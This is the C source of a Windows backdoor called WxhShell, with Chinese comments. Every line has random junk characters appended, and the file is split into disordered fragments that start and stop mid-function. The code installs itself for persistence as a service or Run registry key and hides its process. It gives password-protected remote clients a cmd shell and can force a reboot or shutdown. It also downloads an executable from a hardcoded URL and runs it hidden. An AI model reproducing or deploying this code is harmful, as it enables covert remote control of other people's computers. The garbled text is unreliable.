    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :XhF:c[.:  
    else { I#2$CSJ  
    closesocket(wsh); qj;i03 +@  
    ExitThread(0); =_`q;Tu=  
    } ]`)5 Qe4  
    break; /F;2wT;  
    } &ww-t..  
  // 关机 xfeED^?  
  case 'd': { @MOQk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *F1TZ_GS  
    if(Boot(SHUTDOWN)) \}Am]Y/ w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OWibmX  
    else { ms0V1`  
    closesocket(wsh); _]zX W  
    ExitThread(0); tM]Gu?6  
    } 0;l~B  
    break; h}a}HabA  
    } 3WP\MM  
  // 获取shell RFRXOyGz$  
  case 's': { ?xqS#^Z  
    CmdShell(wsh); !+eU  
    closesocket(wsh); )8C`EPe  
    ExitThread(0); m538p.(LIR  
    break; $Y7VA  
  } :%h1Q>F  
  // 退出 9jjeZc'  
  case 'x': { UDI\o1Rbp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $_F_%m"\  
    CloseIt(wsh); j;`pAN('  
    break; rci,&>L"  
    } av!;k2"  
  // 离开 Ga 5s9wC  
  case 'q': { cjL)M=pIS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a_c(7bQ  
    closesocket(wsh); pL,XHR@Iv  
    WSACleanup(); u9 &$`N_G  
    exit(1); yz K<yvN  
    break; hZ1enej)  
        } , ~ 1+MZ=  
  } O5r8Ghf )  
  } q%x i>H.:{  
'etA1]<N  
  // 提示信息 OM1Z}%J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =x -7 Wy  
} /[_aK0U3  
  } )IcSdS0@M  
5! );4+  
  return; =;-C;gn:w  
} =Smd/'`_  
{j$2=0Cec  
// shell模块句柄 F9eEQ{L  
int CmdShell(SOCKET sock) 4"@;.C""  
{ ?7NSp2aq2A  
STARTUPINFO si; T{ @@V  
ZeroMemory(&si,sizeof(si)); .L^*9Y0)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WkiT,(i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2FuV%\p  
PROCESS_INFORMATION ProcessInfo; /}6I3n  
char cmdline[]="cmd"; }@HgFM"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k{mBG9[z  
  return 0; 3*I\#Z4p1  
} ^gcB+  
bdWdvd:  
// 自身启动模式 xF{%@t  
int StartFromService(void) _h<rVcl!wX  
{ KNmU2-%l  
typedef struct m+XHFU  
{ #8h7C8]&  
  DWORD ExitStatus; _]5UuIMl  
  DWORD PebBaseAddress; PR"x&JG@  
  DWORD AffinityMask; fof}I:vO  
  DWORD BasePriority; Y#c439&  
  ULONG UniqueProcessId; MtL<)?HQ  
  ULONG InheritedFromUniqueProcessId; %j^QK>%  
}   PROCESS_BASIC_INFORMATION; @K!JE w\  
pG"wQ  
PROCNTQSIP NtQueryInformationProcess; nT> v  
ke2dQ^kc4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9xbT?$^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :jv(-RTI  
L'Cd` .yVO  
  HANDLE             hProcess; A4,%l\di<  
  PROCESS_BASIC_INFORMATION pbi; BlpyE[h T  
5, ,'hAq_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8|@) #:  
  if(NULL == hInst ) return 0; jv.tg,c_6  
vk E]$4P[$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i&H^xgm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j-BNHX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JL G!;sov  
C')KZ|JIC  
  if (!NtQueryInformationProcess) return 0; iT&4;W=72~  
rSv,;v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *DIY;)K  
  if(!hProcess) return 0; *=oO3c0|b,  
4AEw[(t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'GezIIaH  
Jd/d\P  
  CloseHandle(hProcess); $B?8\>_?  
EeMKo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =7e!'cF[  
if(hProcess==NULL) return 0; Ze>R@rK  
P Ptmh. }e  
HMODULE hMod; zwC ,,U  
char procName[255]; 5{(4%  
unsigned long cbNeeded; .+S%hT,v6i  
sxr,] @  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d8;kM`U  
+%TgX&a  
  CloseHandle(hProcess); _'w:Sx?d7  
,EHLW4v  
if(strstr(procName,"services")) return 1; // 以服务启动 0?ab'vYcp  
Jvc<j:{^w  
  return 0; // 注册表启动 vWmp ?m  
} tW~kn9glZ  
+pgHCzwJE  
// 主模块 #C } +  
int StartWxhshell(LPSTR lpCmdLine) I )yaR+l  
{ } O+xs3Uv  
  SOCKET wsl; iPl,KjGk  
BOOL val=TRUE; <xSh13<  
  int port=0; &-FG}|*4M  
  struct sockaddr_in door; =c \(]xX  
f|(9+~K/7&  
  if(wscfg.ws_autoins) Install(); kntY2FM  
J>#hu3&UOQ  
port=atoi(lpCmdLine); ~x(|'`  
iLv -*%%  
if(port<=0) port=wscfg.ws_port; 3r#['UmT  
W*s=No3C  
  WSADATA data; P !f{U;B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \mLEwNhRY  
`W}pA mhj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ? ch?q~e)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oU,8?( }'~  
  door.sin_family = AF_INET; G^ k8Or2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oJNQdW[  
  door.sin_port = htons(port); L/Kb\\f  
, poc!n//  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]#4kqj}  
closesocket(wsl); !X: TieyVu  
return 1; Sr Nc  
} yCR8c,'8  
C.ynOo,W  
  if(listen(wsl,2) == INVALID_SOCKET) { j5R0e}/r  
closesocket(wsl); >Z*b0j  
return 1; }%}$h2:  
} ~q+AAWL  
  Wxhshell(wsl); DcFY b|p  
  WSACleanup(); >n/0od9  
m{ani/bt  
return 0; 2He R1m<  
Hd;NvNS  
} 9c4p9b!  
>lM/\HO2  
// 以NT服务方式启动 {hN\=_6*EW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m4h)Wq  
{ An#[ +?  
DWORD   status = 0; b=S"o )>  
  DWORD   specificError = 0xfffffff; uSYI X  
Y*pXbztP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V?*fl^f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v+xrn z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8J&9}@y  
  serviceStatus.dwWin32ExitCode     = 0; z[ ;n2o|s  
  serviceStatus.dwServiceSpecificExitCode = 0; nLAwo3  
  serviceStatus.dwCheckPoint       = 0; du }HTrsC  
  serviceStatus.dwWaitHint       = 0; hd9~Zw]V  
Has}oe[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^L.I9a#]  
  if (hServiceStatusHandle==0) return; 2HVqJib4Yn  
03)irq%l;  
status = GetLastError(); 'LG\]h>+)  
  if (status!=NO_ERROR) sF)$<[w  
{ IAkQR0fcN  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0TV16 --  
    serviceStatus.dwCheckPoint       = 0; &k|EG![  
    serviceStatus.dwWaitHint       = 0; m4W (h6  
    serviceStatus.dwWin32ExitCode     = status; q]f7D\ M  
    serviceStatus.dwServiceSpecificExitCode = specificError; i@6g9\x+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |FT.x9e-  
    return; 6'mZM=d  
  } ~t2" L|i  
U) xeta+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %!-t7K^mFq  
  serviceStatus.dwCheckPoint       = 0; k>MXOUaW.  
  serviceStatus.dwWaitHint       = 0; w(_:+-rqQ<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L-U4 8 i  
} p`&{NR3+  
s \3]0n9  
// 处理NT服务事件,比如:启动、停止 `Ivt)T+n;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n(z$u)Y  
{ XFs7kTY  
switch(fdwControl)  :Kyr}-  
{ _}j>  
case SERVICE_CONTROL_STOP: =>>Dnp  
  serviceStatus.dwWin32ExitCode = 0; f#AuZ]h  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :T PG~`k(  
  serviceStatus.dwCheckPoint   = 0; SF:{PgGMi  
  serviceStatus.dwWaitHint     = 0;  w<!&%  
  { SkipPEhA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [-#1;!k  
  } OY|9V  
  return; )40YA\V  
case SERVICE_CONTROL_PAUSE: Ie Chz d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9`/ywt3Y  
  break; ;7E"@b,tPN  
case SERVICE_CONTROL_CONTINUE: G,Yctv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t:lDFv4s  
  break; QHje}  
case SERVICE_CONTROL_INTERROGATE: $B>L_~cS  
  break; E{-pkqx  
}; f]2gjQHM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zN9@.!?X2  
} MwD+'5   
&{WEtaXaa  
// 标准应用程序主函数 c uAp,!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K4NzI9@  
{ J+0 ?e9  
M{u7Ef  
// 获取操作系统版本 =$~x]  
OsIsNt=GetOsVer(); xzMpTZQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2.j0pg .  
;CL^2{  
  // 从命令行安装 8zeD%Uv  
  if(strpbrk(lpCmdLine,"iI")) Install(); V#1v5mWVx  
h\)ual_r[j  
  // 下载执行文件 4K;0.W;~|  
if(wscfg.ws_downexe) { N/0Q`cQ-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KVoi>?a   
  WinExec(wscfg.ws_filenam,SW_HIDE); )i39'0a  
} R. ryy  
P:'y}a-  
if(!OsIsNt) { RM2feWm  
// 如果时win9x,隐藏进程并且设置为注册表启动 \sVzBHy d  
HideProc(); e6gj'GmY  
StartWxhshell(lpCmdLine); 3\<(!yY8  
} )086u8w )y  
else RC"xnnIJv  
  if(StartFromService()) S=w~bz, /  
  // 以服务方式启动 *0a7H$iQ(]  
  StartServiceCtrlDispatcher(DispatchTable); S +73 /Vs  
else bw#\"uJ  
  // 普通方式启动 s5d[sx  
  StartWxhshell(lpCmdLine); tUfze9m  
odcrP\S  
return 0; jP3~O  
} blbzh';0}  
'i/"D8  
nM$-L.dG  
@M }`nKXM  
=========================================== u*Y!=IT  
TSL/zTLDJ  
[.G~5%974  
}2?-kj7  
Si#XF[/  
giddM2'  
" OJcI0(G  
g;3<oI/P  
#include <stdio.h> &19z|Id  
#include <string.h> q*J-ii  
#include <windows.h> kA4kQ}q  
#include <winsock2.h> '_=XfTF  
#include <winsvc.h> !Nhq)i  
#include <urlmon.h> b{e|~v6&  
|TBKsx8  
#pragma comment (lib, "Ws2_32.lib") v}z{OB  
#pragma comment (lib, "urlmon.lib") 9EZh~tdV[  
)i.\q   
#define MAX_USER   100 // 最大客户端连接数 zpxy X|  
#define BUF_SOCK   200 // sock buffer ? v@q&  
#define KEY_BUFF   255 // 输入 buffer );F /P0P  
@(tiPV  
#define REBOOT     0   // 重启 D>q?My  
#define SHUTDOWN   1   // 关机 ;}4e+`fF|  
1\,wV,  
#define DEF_PORT   5000 // 监听端口 g5&,l  
0jefV*3qpB  
#define REG_LEN     16   // 注册表键长度 vC5 (  
#define SVC_LEN     80   // NT服务名长度 e-{4qt  
;%i.@@:IQ  
// 从dll定义API ZZ;V5o6E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o|a]Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n)teX.ck)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A832z`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pK2n'4 C  
m4T` Tg#P  
// wxhshell配置信息 nr9c G/"  
struct WSCFG { k{$Mlt?&-  
  int ws_port;         // 监听端口 w~9=6|_  
  char ws_passstr[REG_LEN]; // 口令 {I_I$x_  
  int ws_autoins;       // 安装标记, 1=yes 0=no m`ab5<%Gn  
  char ws_regname[REG_LEN]; // 注册表键名 9_S>G$9D  
  char ws_svcname[REG_LEN]; // 服务名 |a Ht6F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W r;?t!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p>]2o\["  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &5wM`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R_DZJV O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oG;;='*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V$ss[fX  
s%qK<U4@;Q  
}; ]+0I8eerd  
thSo,uGlW  
// default Wxhshell configuration )wY bcH  
struct WSCFG wscfg={DEF_PORT, 80ms7 B  
    "xuhuanlingzhe", d~J4&w  
    1, B\!.o=<h  
    "Wxhshell", u>-!5=D8  
    "Wxhshell", 'xp&)g L  
            "WxhShell Service", Q|}Pc>ae  
    "Wrsky Windows CmdShell Service", [I` 6F6  
    "Please Input Your Password: ", ! =c&U.B  
  1, {utIaMb]&v  
  "http://www.wrsky.com/wxhshell.exe", _-I0f##.  
  "Wxhshell.exe" 3F0:v,+;  
    }; y/@.T\p  
W|kKH5E&  
// 消息定义模块 rj].bGQ,+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y;'7Ek)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G" Fd]'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ojitBo~  
char *msg_ws_ext="\n\rExit."; m<;&B   
char *msg_ws_end="\n\rQuit."; /TgG^|  
char *msg_ws_boot="\n\rReboot..."; !>+Na~eN  
char *msg_ws_poff="\n\rShutdown..."; =2eG j'}  
char *msg_ws_down="\n\rSave to "; u{ .UZTn  
^CwzA B  
char *msg_ws_err="\n\rErr!"; <4Jo1  
char *msg_ws_ok="\n\rOK!"; b1;80P/:D  
29#;;n}p  
char ExeFile[MAX_PATH]; 1vQj` F  
int nUser = 0; `jb?6;15  
HANDLE handles[MAX_USER]; $fY4amX6Z  
int OsIsNt; Mc6?]wDB]  
LPk85E  
SERVICE_STATUS       serviceStatus; i=<N4Vx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @BN cIJk9  
NY ZPh%x  
// 函数声明  3y?ig2  
int Install(void); pr[[)[]/  
int Uninstall(void); T(^<sjOs  
int DownloadFile(char *sURL, SOCKET wsh); &4yI]  
int Boot(int flag); |vnfY; ;z1  
void HideProc(void); )*iSN*T8q  
int GetOsVer(void); jn#  
int Wxhshell(SOCKET wsl); <5~} !N X`  
void TalkWithClient(void *cs); Ee##:I[z  
int CmdShell(SOCKET sock); X] /r'Tz  
int StartFromService(void); s Hu~;)  
int StartWxhshell(LPSTR lpCmdLine); '@iS5Fni  
~J6c1jG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dt  4_x1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xF_ Y7rw1w  
jv]:`$}G\  
// 数据结构和表定义 rK2*DuE  
SERVICE_TABLE_ENTRY DispatchTable[] = 65Ysg}x  
{ lfKrd3KS_  
{wscfg.ws_svcname, NTServiceMain}, G~e`O,+  
{NULL, NULL} c]W]m`:  
}; \+g95|[/  
C``%<)WC  
// 自我安装 #kV`G.EX  
int Install(void) c)M_&?J!5  
{ -~ `5kO~  
  char svExeFile[MAX_PATH]; 2Fce| Tn  
  HKEY key; It4J \S  
  strcpy(svExeFile,ExeFile); Kl$!_$  
pVw)"\S%  
// 如果是win9x系统,修改注册表设为自启动 Q<r O5 -K  
if(!OsIsNt) { b#.hw2?a`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vGC^1AM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #uT-_L}s w  
  RegCloseKey(key); Y2w 9]:J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L;'+O u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZSMOq4Y 9  
  RegCloseKey(key); %u43Pj  
  return 0; [Qv%  
    } `{/z\  
  } 2ZB'WzH.X  
} N@^?J@#V  
else { Z| +/Wl-h  
){")RrD(  
// 如果是NT以上系统,安装为系统服务 y8wOJZ<K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^Yn{Vi2.  
if (schSCManager!=0) e4ajT  
{ h.g11xa  
  SC_HANDLE schService = CreateService 9QI\[lT&  
  ( ?jBna ~  
  schSCManager, ~-6Kl3Y  
  wscfg.ws_svcname, q'M-a tE.  
  wscfg.ws_svcdisp, oHbEHS61  
  SERVICE_ALL_ACCESS, ' d1E~A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,l` q  
  SERVICE_AUTO_START, >\$qF  
  SERVICE_ERROR_NORMAL, JB'q_dS}  
  svExeFile, r%$-F2.p  
  NULL, >)U 7$<&b  
  NULL, v/Z}|dT"  
  NULL, NwuME/C7#  
  NULL, $d!Sl a  
  NULL KC? hsID{  
  ); [cru+c+O:  
  if (schService!=0) 5 8p_b  
  { _pKW($\  
  CloseServiceHandle(schService); *n2Q_o  
  CloseServiceHandle(schSCManager); yI bz\3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M0x5s@  
  strcat(svExeFile,wscfg.ws_svcname); o 1#XM/Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sN 7I~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _4rb7"b1  
  RegCloseKey(key); n\.K:t[:  
  return 0; =M 7FD  
    } Uz\B^"i|  
  } klKAwCQ,  
  CloseServiceHandle(schSCManager); @ MNL  
} < 7zyRm@S  
} g^ ^%4Y  
fh )QX  
return 1; IJ o`O  
} ?a~=CC@  
}vxb, [#  
// 自我卸载 hX 9.%-@sR  
int Uninstall(void) 0:h;ots'  
{ RoLUPy9U  
  HKEY key; ]^&DEj{  
{{[).o/  
if(!OsIsNt) { ^QB/{9#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |RwD]2H  
  RegDeleteValue(key,wscfg.ws_regname); ,u{d@U^)3@  
  RegCloseKey(key); bu%@1:l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )Bl% {C  
  RegDeleteValue(key,wscfg.ws_regname); (Y'rEc#H&z  
  RegCloseKey(key); ph30/*8  
  return 0; l`gRw4 /$  
  } #'^p-Jdm  
} IL}pVa00{n  
} /,/T{V[  
else { @o44b!i  
27E6S)zv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p2!x8`IB*  
if (schSCManager!=0)  -deY,%  
{ -d %bc?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); H<%7aOwO2  
  if (schService!=0) 8:L%-  
  { NV*aHci  
  if(DeleteService(schService)!=0) { @*q\$Eg}2  
  CloseServiceHandle(schService); }o=R7n%  
  CloseServiceHandle(schSCManager); Gc4N)oq)}b  
  return 0; =@binTC4  
  } cIja^xD  
  CloseServiceHandle(schService); %6L!JN  
  }  ~ceGx  
  CloseServiceHandle(schSCManager); gJ c5Y  
} mv SNKS  
} =a?l@dI]  
{.H}+@0  
return 1; |vTirZP  
} .-`7Av+7  
Rr4r[g#  
// 从指定url下载文件 s3_i5,y  
int DownloadFile(char *sURL, SOCKET wsh) Z=R>7~H  
{ (~}yt.7K  
  HRESULT hr; 20 zIO.&o  
char seps[]= "/"; B HoZ}1_  
char *token; %9-).k  
char *file; QCa$<~c  
char myURL[MAX_PATH]; >efYpd#^  
char myFILE[MAX_PATH]; //Hn[wEOh  
i<bFF03*S  
strcpy(myURL,sURL); \0(QO8.  
  token=strtok(myURL,seps); Puily9#  
  while(token!=NULL) uMPJ  
  { 9:fVHynr  
    file=token; sTeL4g|%{  
  token=strtok(NULL,seps); cm-cwPAh  
  } Si6%6rAhj  
:8E(pq|1PB  
GetCurrentDirectory(MAX_PATH,myFILE); 5U3="L  
strcat(myFILE, "\\"); k2<VUeW5  
strcat(myFILE, file); \ zhT1#O  
  send(wsh,myFILE,strlen(myFILE),0); H]UM2.  
send(wsh,"...",3,0); Qgo0uu M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lx U}HM  
  if(hr==S_OK) }v0oFY$u`H  
return 0; c(ZkK  
else !7AW_l9`i  
return 1; [*vk&  
B:qZh$YN  
} D D"]as"#  
YmB z$  
// 系统电源模块 C% }FVO\c  
int Boot(int flag) bH3-#mw5w  
{ JT[|l-\zo  
  HANDLE hToken; '<>pz<c  
  TOKEN_PRIVILEGES tkp; {\;CGoN|  
Gow_a'  
  if(OsIsNt) { *vCJTz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E:&=A 4 %  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .FqbX5\p,  
    tkp.PrivilegeCount = 1; !wJ~p:vRdY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B6MMn.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ysGK5kFz  
if(flag==REBOOT) { asj^K|.z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -?2ThvT  
  return 0; ~-A5h(  
} #&1mc_`/  
else { ,D+pGxbr   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g>/,},jv[x  
  return 0; /XS}<!)%  
} P3on4c  
  } Rl.3p<sX  
  else { SEIGs_^'\  
if(flag==REBOOT) { Q;)[~p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'F5&f9 A  
  return 0; 8nt:peJ$+  
} #)GL%{Oa  
else { -+Kx^V#'R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8"N<g'Yl,  
  return 0; F.c,FR2  
} #J)sz,)(  
} [,8@oM#  
>y(;k|-$  
return 1; zp!{u{  
} v'`C16&^]  
deQ0)A 4g  
// win9x进程隐藏模块 @4sv(HyDY  
void HideProc(void) (05/}PhB`  
{ 2%. A{!  
pu0IhDMn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U $# ?Lw  
  if ( hKernel != NULL ) 9=ns.r  
  { Cc$!TZq=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {tOu+zy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R',Q)<  
    FreeLibrary(hKernel); ,=Xr'7w,  
  } *6df|q  
yS@c2I602  
return; q$(aMO&J  
} Ra%RcUf~sh  
[ZZ~^U5  
// 获取操作系统版本 (5cc{zKtR  
int GetOsVer(void) l"f.eo0@7  
{ %qV=PC  
  OSVERSIONINFO winfo; 4sP0oe[h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PL@hsZty~c  
  GetVersionEx(&winfo); vCb3Ra~L`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )%-FnW  
  return 1; ]p\7s  
  else K#%L6=t$<  
  return 0; &;&i#ZO  
} (]w_}E]N  
Dwj!B;AZ_  
// 客户端句柄模块 "|{ NRIE  
int Wxhshell(SOCKET wsl) (Dlh;Ic r9  
{ t:eZ`6o$T\  
  SOCKET wsh; I+ rHb< P%  
  struct sockaddr_in client; _<6 ^r  
  DWORD myID; s+#gH@c  
IX$dDwY|O>  
  while(nUser<MAX_USER) -Ds}kdxw  
{ ['~3"lK^O  
  int nSize=sizeof(client); =kp #v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); B: \\aOEj  
  if(wsh==INVALID_SOCKET) return 1; Pv17wUB  
~pO6C*"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yH|[K=?S[  
if(handles[nUser]==0) ({v$!AAv  
  closesocket(wsh); ^ |z|kc  
else O:IU|INq8  
  nUser++; ai)S:2  
  } f*,jhJ_I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tSaLR90Y6  
LBq~?Q.e  
  return 0; DJVH}w}9_P  
} x{6KsYEY  
8UJK]_99I,  
// 关闭 socket q_bE?j{  
void CloseIt(SOCKET wsh) V7U&8UPb  
{ )h]~< fU  
closesocket(wsh); 9t:F![rg  
nUser--; A'vQtlvKA  
ExitThread(0); Jz&a9  
} Cc/h|4  
,m;S-Im_Xr  
// 客户端请求句柄 Jr$,w7tQn@  
void TalkWithClient(void *cs) PIR#M('  
{ VG0Ty;bV  
]VtVw^ir  
  SOCKET wsh=(SOCKET)cs; mk(O..)2  
  char pwd[SVC_LEN]; ajC'C!"^Ty  
  char cmd[KEY_BUFF]; }Qyuy~-&^  
char chr[1]; ~P8 6=Vw  
int i,j; ^,*ED Yz  
` Fnl<C<  
  while (nUser < MAX_USER) { t2skg  
!~Gx@Ro  
if(wscfg.ws_passstr) { :)o 4fOJ8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O=~8+sa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZKy)F-yX  
  //ZeroMemory(pwd,KEY_BUFF); 7#d>a=$h  
      i=0; cyrVz4_a  
  while(i<SVC_LEN) { me:~q#k  
Q&+Jeji  
  // 设置超时 F*m^AFjs  
  fd_set FdRead; QK%Nt  
  struct timeval TimeOut; 5$f vI#NO<  
  FD_ZERO(&FdRead); Uc%n{ a-a  
  FD_SET(wsh,&FdRead); %IrR+f+H  
  TimeOut.tv_sec=8; eRU0gvgLu"  
  TimeOut.tv_usec=0; zx` %)r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %J(y2 }  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f++MH]I;  
p)6!GdT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 701a%Jq_2  
  pwd=chr[0]; 1P4cB w%  
  if(chr[0]==0xd || chr[0]==0xa) { JjA3G`m=  
  pwd=0; KZy2c6XO;  
  break; ~puXZCatN  
  } b3R1L|@  
  i++; I><B6pIR  
    } G"k.sRKu  
NwAvxN<R(f  
  // 如果是非法用户,关闭 socket jf&B5>-x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e_RLKFv7  
} DrI"YX  
nhV\<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #&zM.O1Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Yc~(W ue  
tfB}U.  
while(1) { .#^ta9^t7  
?tzJ7PJ~B  
  ZeroMemory(cmd,KEY_BUFF); be?>C 5  
0lpkG ="&r  
      // 自动支持客户端 telnet标准   A*+pGQ  
  j=0; qt_ocOr  
  while(j<KEY_BUFF) { { 0\Ez}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ] V|hDU=t  
  cmd[j]=chr[0]; xgDd5`W  
  if(chr[0]==0xa || chr[0]==0xd) { 5OEo(&  
  cmd[j]=0; <PLQY  
  break; #IJm*_J<  
  } 44Dytpvg  
  j++; AWaptw_p*  
    } /{1sU}k-  
y yPQ^{zD  
  // 下载文件 A]0A,A0  
  if(strstr(cmd,"http://")) { &10l80vj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M3XG s|gw  
